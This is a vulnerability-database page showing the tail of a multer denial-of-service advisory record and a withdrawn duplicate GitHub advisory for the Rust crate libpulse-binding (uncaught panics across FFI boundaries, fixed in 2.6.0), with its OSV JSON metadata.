"type": "PACKAGE",
"url": "https://github.com/expressjs/multer"
},
{
"type": "WEB",
"url": "https://github.com/expressjs/multer/releases/tag/v2.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "multer vulnerable to Denial of Service via crafted multipart field names"
}
GHSA-WCXC-JF6C-8RX9
Vulnerability from github – Published: 2021-08-25 20:57 – Updated: 2026-01-23 22:32Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-xvcg-2q82-r87j. This link is maintained to preserve external references.
Original Description
Affected versions of this crate failed to catch panics crossing FFI boundaries via callbacks, which is a form of UB. This flaw was corrected by [this commit][1] which was included in version 2.6.0.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "libpulse-binding"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-18T20:24:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-xvcg-2q82-r87j. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of this crate failed to catch panics crossing FFI boundaries via callbacks, which\nis a form of UB. This flaw was corrected by [this commit][1] which was included in version 2.6.0.",
"id": "GHSA-wcxc-jf6c-8rx9",
"modified": "2026-01-23T22:32:51Z",
"published": "2021-08-25T20:57:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jnqnfe/pulse-binding-rust/commit/7fd282aef7787577c385aed88cb25d004b85f494"
},
{
"type": "PACKAGE",
"url": "https://github.com/jnqnfe/pulse-binding-rust"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2019-0038.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Duplicate Advisory: Uncaught Exception in libpulse-binding",
"withdrawn": "2026-01-23T22:32:51Z"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.